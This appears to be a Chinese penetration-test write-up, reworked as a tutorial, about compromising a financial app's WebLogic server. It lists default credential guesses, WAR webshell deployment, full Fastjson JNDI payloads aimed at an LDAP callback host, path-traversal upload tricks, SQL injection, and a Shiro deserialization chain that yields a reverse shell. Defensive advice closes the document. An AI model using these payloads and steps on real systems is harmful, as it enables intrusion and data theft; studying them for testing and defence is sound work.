记一次运气爆棚的渗透测试
字数 2112 2025-08-20 18:17:47

WebLogic渗透测试实战教学文档

前言

本教学文档基于一次真实的金融类App渗透测试案例,详细记录了从WebLogic弱口令到最终获取系统权限的全过程。文档涵盖了WebLogic、Fastjson、Shiro等多个组件的漏洞利用方法,适合中高级安全研究人员学习参考。

1. WebLogic弱口令利用

1.1 识别WebLogic服务

  • 通过App通信请求发现7002端口
  • 访问/console路径确认WebLogic管理界面
  • 确认版本:10.3.6.0

1.2 弱口令尝试

  • 常用组合尝试:
    • weblogic/weblogic123(成功)
    • weblogic/weblogic
    • weblogic/Oracle123
    • system/Password1
  • 注意:10.3.6.0版本的jar包可能未生效,不要依赖特定漏洞利用包

2. 通过WebLogic后台获取Shell

2.1 部署War包

  1. 登录WebLogic管理后台
  2. 导航至"部署"页面
  3. 上传预制的War格式WebShell
  4. 完成部署并访问对应URL

2.2 替代方法

  • 使用WebLogic已知漏洞直接获取Shell(如CVE-2020-14882等)
  • 通过反序列化漏洞直接执行命令

3. Fastjson远程命令执行

3.1 发现Fastjson漏洞

  • 在站点lib目录发现fastjson 1.1.39版本
  • 存在debug测试页面,增加利用可能性

3.2 漏洞利用尝试

1.2.47版本payload失败

{
  "a": {
    "@type": "java.lang.Class",
    "val": "com.sun.rowset.JdbcRowSetImpl"
  },
  "b": {
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "ldap://dnslog",
    "autoCommit": true
  }
}

1.2.45版本payload成功

{
  "@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
  "properties": {
    "data_source": "ldap://dnslog"
  }
}

3.3 利用要点

  • 不同版本Fastjson需要尝试不同payload
  • 准备DNSLog或LDAP服务接收回调
  • 可结合JNDI注入工具实现RCE

4. 任意文件上传漏洞

4.1 发现漏洞

  • 找到文件上传接口:/file/upload.do
  • 代码审计发现无任何过滤措施

4.2 利用限制

  • 文件被上传到临时目录/temp
  • 无法直接访问,需要结合其他漏洞利用

4.3 绕过思路

  • 尝试路径遍历:../../webapps/ROOT/
  • 结合文件包含漏洞
  • 利用竞争条件在文件删除前访问

5. 后台弱口令漏洞

5.1 信息收集

  • 从WebLogic部署信息获取第二个站点上下文
  • 访问后为登录页面

5.2 数据库信息利用

  1. 从配置文件中获取数据库连接信息
  2. 尝试连接但发现数据加密
  3. 在Oracle目录下找到历史SQL文件

5.3 弱口令破解

  • 发现admin用户
  • MD5解密得到密码:admin123
  • 其他常见密码组合:
    • admin/admin
    • admin/123456
    • admin/password

6. SQL注入漏洞

6.1 漏洞发现

  • 后台搜索功能存在注入
  • 测试payload:'引发错误

6.2 利用方法

  • 使用常规SQL注入技术:
    • 联合查询
    • 布尔盲注
    • 时间盲注
  • 工具推荐:sqlmap

7. Shiro反序列化命令执行

7.1 环境分析

  • lib目录发现低版本Shiro
  • 使用默认密钥
  • commons-beanutils版本为1.8.3

7.2 利用挑战

  • 标准ysoserial工具链不兼容:
    • CommonsBeanutils1依赖commons-beanutils 1.9.2
    • 与目标环境1.8.3版本不匹配

7.3 解决方案

  1. 修改ysoserial源码:
    • 将commons-beanutils依赖改为1.8.3
    • 重新编译打包
  2. 使用CommonsBeanutils1链生成payload
  3. 通过Shiro的rememberMe功能发送恶意cookie

7.4 成功利用

  • 获取反弹shell
  • 权限提升至系统权限

8. 总结与防御建议

8.1 渗透测试要点总结

  1. 不要忽视基本漏洞(如弱口令)
  2. 组件版本信息至关重要
  3. 工具可能需要针对环境定制
  4. 多个漏洞组合利用可提高成功率

8.2 防御建议

WebLogic

  • 修改默认密码
  • 及时安装补丁
  • 限制管理界面访问

Fastjson

  • 升级到最新安全版本
  • 使用安全模式

Shiro

  • 使用随机密钥而非默认密钥
  • 升级到修复版本

通用防御

  • 输入验证和过滤
  • 最小权限原则
  • 定期安全审计

9. 工具与资源

  1. WebLogic利用工具:

    • WeblogicScanner
    • CVE-2020-14882利用脚本
  2. Fastjson利用工具:

    • fastjson_tool
    • JNDI注入工具
  3. Shiro利用工具:

    • shiro_attack
    • 修改版ysoserial
  4. 其他:

    • sqlmap
    • Burp Suite
    • DNSLog平台

附录:常见问题解答

Q: 为什么1.2.47的Fastjson payload不工作而1.2.45的可以?
A: 不同版本Fastjson对payload的解析和黑名单实现不同,需要针对目标版本尝试不同payload。

Q: 如何确定Shiro的密钥?
A: 可以通过以下方式:

  1. 源代码审计
  2. 配置文件查找
  3. 使用shiro_attack等工具爆破常见密钥

Q: 文件上传到临时目录如何利用?
A: 可能的利用方式:

  1. 结合文件包含漏洞
  2. 竞争条件利用
  3. 配合其他漏洞如路径遍历
WebLogic渗透测试实战教学文档 前言 本教学文档基于一次真实的金融类App渗透测试案例,详细记录了从WebLogic弱口令到最终获取系统权限的全过程。文档涵盖了WebLogic、Fastjson、Shiro等多个组件的漏洞利用方法,适合中高级安全研究人员学习参考。 1. WebLogic弱口令利用 1.1 识别WebLogic服务 通过App通信请求发现7002端口 访问 /console 路径确认WebLogic管理界面 确认版本:10.3.6.0 1.2 弱口令尝试 常用组合尝试: weblogic/weblogic123(成功) weblogic/weblogic weblogic/Oracle123 system/Password1 注意:10.3.6.0版本的jar包可能未生效,不要依赖特定漏洞利用包 2. 通过WebLogic后台获取Shell 2.1 部署War包 登录WebLogic管理后台 导航至"部署"页面 上传预制的War格式WebShell 完成部署并访问对应URL 2.2 替代方法 使用WebLogic已知漏洞直接获取Shell(如CVE-2020-14882等) 通过反序列化漏洞直接执行命令 3. Fastjson远程命令执行 3.1 发现Fastjson漏洞 在站点lib目录发现fastjson 1.1.39版本 存在debug测试页面,增加利用可能性 3.2 漏洞利用尝试 1.2.47版本payload失败 : 1.2.45版本payload成功 : 3.3 利用要点 不同版本Fastjson需要尝试不同payload 准备DNSLog或LDAP服务接收回调 可结合JNDI注入工具实现RCE 4. 任意文件上传漏洞 4.1 发现漏洞 找到文件上传接口: /file/upload.do 代码审计发现无任何过滤措施 4.2 利用限制 文件被上传到临时目录 /temp 无法直接访问,需要结合其他漏洞利用 4.3 绕过思路 尝试路径遍历: ../../webapps/ROOT/ 结合文件包含漏洞 利用竞争条件在文件删除前访问 5. 后台弱口令漏洞 5.1 信息收集 从WebLogic部署信息获取第二个站点上下文 访问后为登录页面 5.2 数据库信息利用 从配置文件中获取数据库连接信息 尝试连接但发现数据加密 在Oracle目录下找到历史SQL文件 5.3 弱口令破解 发现admin用户 MD5解密得到密码:admin123 其他常见密码组合: admin/admin admin/123456 admin/password 6. SQL注入漏洞 6.1 漏洞发现 后台搜索功能存在注入 测试payload: ' 引发错误 6.2 利用方法 使用常规SQL注入技术: 联合查询 布尔盲注 时间盲注 工具推荐:sqlmap 7. Shiro反序列化命令执行 7.1 环境分析 lib目录发现低版本Shiro 使用默认密钥 commons-beanutils版本为1.8.3 7.2 利用挑战 标准ysoserial工具链不兼容: CommonsBeanutils1依赖commons-beanutils 1.9.2 与目标环境1.8.3版本不匹配 7.3 解决方案 修改ysoserial源码: 将commons-beanutils依赖改为1.8.3 重新编译打包 使用CommonsBeanutils1链生成payload 通过Shiro的rememberMe功能发送恶意cookie 7.4 成功利用 获取反弹shell 权限提升至系统权限 8. 总结与防御建议 8.1 渗透测试要点总结 不要忽视基本漏洞(如弱口令) 组件版本信息至关重要 工具可能需要针对环境定制 多个漏洞组合利用可提高成功率 8.2 防御建议 WebLogic : 修改默认密码 及时安装补丁 限制管理界面访问 Fastjson : 升级到最新安全版本 使用安全模式 Shiro : 使用随机密钥而非默认密钥 升级到修复版本 通用防御 : 输入验证和过滤 最小权限原则 定期安全审计 9. 工具与资源 WebLogic利用工具: WeblogicScanner CVE-2020-14882利用脚本 Fastjson利用工具: fastjson_ tool JNDI注入工具 Shiro利用工具: shiro_ attack 修改版ysoserial 其他: sqlmap Burp Suite DNSLog平台 附录:常见问题解答 Q: 为什么1.2.47的Fastjson payload不工作而1.2.45的可以? A: 不同版本Fastjson对payload的解析和黑名单实现不同,需要针对目标版本尝试不同payload。 Q: 如何确定Shiro的密钥? A: 可以通过以下方式: 源代码审计 配置文件查找 使用shiro_ attack等工具爆破常见密钥 Q: 文件上传到临时目录如何利用? A: 可能的利用方式: 结合文件包含漏洞 竞争条件利用 配合其他漏洞如路径遍历